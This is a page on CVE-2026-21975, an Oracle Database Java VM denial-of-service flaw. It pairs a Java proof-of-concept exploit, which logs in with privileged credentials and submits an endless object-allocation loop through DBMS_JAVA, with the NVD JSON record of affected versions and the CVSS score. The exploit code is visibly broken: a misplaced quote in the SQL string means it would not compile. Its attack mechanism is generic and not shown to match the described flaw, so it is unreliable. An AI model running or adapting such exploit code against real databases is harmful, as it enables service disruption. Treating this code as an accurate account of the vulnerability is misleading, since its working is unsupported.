CVE-2026-21975

// CVE-2026-21975 PoC - Oracle Database Java VM DoS // Note: Requires high privileged Oracle account import java.sql.*; import oracle.jdbc.pool.*; public class CVE202621975_PoC { public static void main(String[] args) { String targetHost = "target_oracle_db"; String port = "1521"; String serviceName = "ORCL"; String username = "high_privileged_user"; String password = "password"; String url = "jdbc:oracle:thin:@" + targetHost + ":" + port + "/" + serviceName; try { OracleDataSource ds = new OracleDataSource(); ds.setURL(url); ds.setUser(username); ds.setPassword(password); Connection conn = ds.getConnection(); // Execute malicious Java code trigger // This PoC demonstrates the attack vector String maliciousSQL = "DECLARE " + " code VARCHAR2(4000); " + "BEGIN " + " code := 'public class Malicious { public static void main(String[] args) {'; " + " code := code || ' // Trigger Java VM vulnerability'; " + " code := code || ' while(true) { new Object(); }'; " + " code := code || '}}'; " + " -- Execute through Java VM " DBMS_JAVA.TEST_JAVA(code); " + "END;"; Statement stmt = conn.createStatement(); stmt.execute(maliciousSQL); System.out.println("PoC executed - Java VM DoS triggered"); conn.close(); } catch (Exception e) { System.out.println("Error: " + e.getMessage()); e.printStackTrace(); } } } // Usage: // 1. Compile: javac CVE202621975_PoC.java // 2. Run with Oracle JDBC driver: // java -cp .:ojdbc8.jar CVE202621975_PoC // Note: This PoC requires valid high-privileged Oracle credentials

{"cve": {"id": "CVE-2026-21975", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:16:00.707", "lastModified": "2026-01-29T14:46:56.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Java VM component of Oracle Database Server. Supported versions that are affected are 19.3-19.29 and 21.3-21.20. Easily exploitable vulnerability allows high privileged attacker having Authenticated User privilege with network access via Oracle Net to compromise Java VM. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Java VM. CVSS 3.1 Base Score 4.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:N/A:H)."}, {"lang": "es", "value": "Vulnerabilidad en el componente Java VM de Oracle Database Server. Versiones compatibles que están afectadas son 19.3-19.29 y 21.3-21.20. Vulnerabilidad fácilmente explotable permite a un atacante con altos privilegios que tiene privilegio de Usuario Autenticado con acceso a la red a través de Oracle Net comprometer Java VM. Ataques exitosos requieren interacción humana de una persona distinta al atacante. Ataques exitosos de esta vulnerabilidad pueden resultar en la capacidad no autorizada de causar un cuelgue o un fallo repetible con frecuencia (DoS completo) de Java VM. Puntuación Base CVSS 3.1 4.5 (Impactos en la disponibilidad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:N/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:N/A:H", "baseScore": 4.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-404"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:java_virtual_machine:*:*:*:*:*:*:*:*", "versionStartIncluding": "19.3", "versionEndIncluding": "19.29", "matchCriteriaId": "23A2CF85-43BC-4DC4-AD84-C944335BB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:java_virtual_machine:*:*:*:*:*:*:*:*", "versionStartIncluding": "21.3", "versionEndIncluding": "21.20", "matchCriteriaId": "8A716A4D-77C8-4939-9AC2-03FD6C19735B"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}